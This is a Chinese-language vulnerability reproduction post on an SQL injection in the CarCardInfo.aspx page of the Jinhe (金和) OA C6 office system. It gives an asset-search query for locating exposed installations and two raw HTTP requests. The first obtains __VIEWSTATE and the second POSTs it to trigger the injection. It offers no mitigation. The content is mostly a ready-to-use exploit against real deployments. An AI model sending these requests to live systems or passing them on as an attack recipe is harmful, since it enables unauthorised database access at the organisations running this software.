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金和OA C6 CarCardInfo存在SQL注入漏洞

一、漏洞简介

金和OA协同办公管理系统C6软件共有20多个应用模块,160多个应用子模块,涉及的企业管理业务包括协同办公管理、人力资源管理、项目管理、客户关系管理、企业目标管理、费用管理等多个业务范围,从功能型的协同办公平台上升到管理型协同管理平台,并不断的更新完善,全面支撑企业发展。金和OA C6 CarCardInfo存在SQL注入漏洞。

二、影响版本

  • 金和OA

三、资产测绘

  • hunterapp.name="金和 OA"

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  • 登录页面

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四、漏洞复现

  1. 获取__VIEWSTATE
GET /c6/JHSoft.Web.Vehicle/CarCardInfo.aspx/ HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ASP.NET_SessionId=4f3tjvzxcv5jafpefj14hsj0; myie=false
Content-Length: 0

image.png

  1. 通过上一步获取的__VIEWSTATE,进行sql注入
POST /c6/JHSoft.Web.Vehicle/CarCardInfo.aspx/ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 2064
Connection: close
Cookie: ASP.NET_SessionId=4f3tjvzxcv5jafpefj14hsj0; myie=false
Upgrade-Insecure-Requests: 1

_ListPage1LockNumber=1&_ListPage1RecordCount=0&__VIEWSTATE=/wEPDwUKMjAyNTc4NzA3NA8WAh4Ic3RyUXVlcnkFCWRlbGZsYWc9MBYCZg9kFgQCAg8PFgIeBFRleHQFBuafpeivomRkAgMPDxYMHglfUGFnZVNpemUCKB4PX1NvcnRBdHRyaWJ1dGVzMtgDAAEAAAD/////AQAAAAAAAAAMAgAAAFFVc2VyV2ViQ29udHJvbC5EYXRhR3JpZCwgVmVyc2lvbj04LjUuNS4xMDAxLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW51bGwFAQAAADlVc2VyV2ViQ29udHJvbC5EYXRhR3JpZC5EYXRhR3JpZCtTb3J0QXR0cmlidXRlc0NvbGxlY3Rpb24BAAAAEEF0dHJpYkNvbGxlY3Rpb24EOFVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK1NvcnRBdHRyaWJ1dGVDb2xsZWN0aW9uAgAAAAIAAAAJAwAAAAUDAAAAOFVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK1NvcnRBdHRyaWJ1dGVDb2xsZWN0aW9uAQAAABNDb2xsZWN0aW9uQmFzZStsaXN0AxxTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0AgAAAAkEAAAABAQAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdAMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBQAACAgJBQAAAAAAAAAAAAAAEAUAAAAAAAAACx4MX1JlY29yZENvdW50Zh4HX2J1dHRvbjLsBAABAAAA/////wEAAAAAAAAADAIAAABRVXNlcldlYkNvbnRyb2wuRGF0YUdyaWQsIFZlcnNpb249OC41LjUuMTAwMSwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAyVXNlcldlYkNvbnRyb2wuRGF0YUdyaWQuRGF0YUdyaWQrQnV0dG9uc0NvbGxlY3Rpb24BAAAAB2J1dHRvbnMEL1VzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW1Db2xsZWN0aW9uAgAAAAIAAAAJAwAAAAUDAAAAL1VzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW1Db2xsZWN0aW9uAQAAABNDb2xsZWN0aW9uQmFzZStsaXN0AxxTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0AgAAAAkEAAAABAQAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdAMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBQAACAgJBQAAAAEAAAABAAAAEAUAAAAEAAAACQYAAAANAwUGAAAAJVVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW0EAAAABF9JbWcGX1RpdGxlCF9EaXNwbGF5EV9Eb3NjcmlwdGlvblRpdGxlAQEAAQECAAAABgcAAAA3Li4vSkhzb2Z0LlVJLkxpYi9pbWFnZXMvaWNvbi50b29sYmFyLzE2cHgvZGV0ZXJtaW5lLnBuZwYIAAAABuehruWumgEGCQAAAAALHglfSWRlbnRpZnkCAR4LX2RhdGFTb3VyY2UFaTxyb290PjxyZWNvcmQ+PElEPjwvSUQ+PGl0ZW0gQ29sdW1uTmFtZT0n6L2m5Z6LJz48L2l0ZW0+PGl0ZW0gQ29sdW1uTmFtZT0n54mM54WnJz48L2l0ZW0+PC9yZWNvcmQ+PC9yb290PmRkZDBjcKLGVQ0srjgleHod+mIaYrrTfgLo4LEeqBGgCbPL&txt_CarType=1&txt_CarCode=&bt_Search=%B2%E9%D1%AF&__VIEWSTATEGENERATOR=5A747BED&__EVENTTARGET=&__EVENTARGUMENT=

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原文: https://www.yuque.com/xiaokp7/ocvun2/acy1gw4gv12p6kuc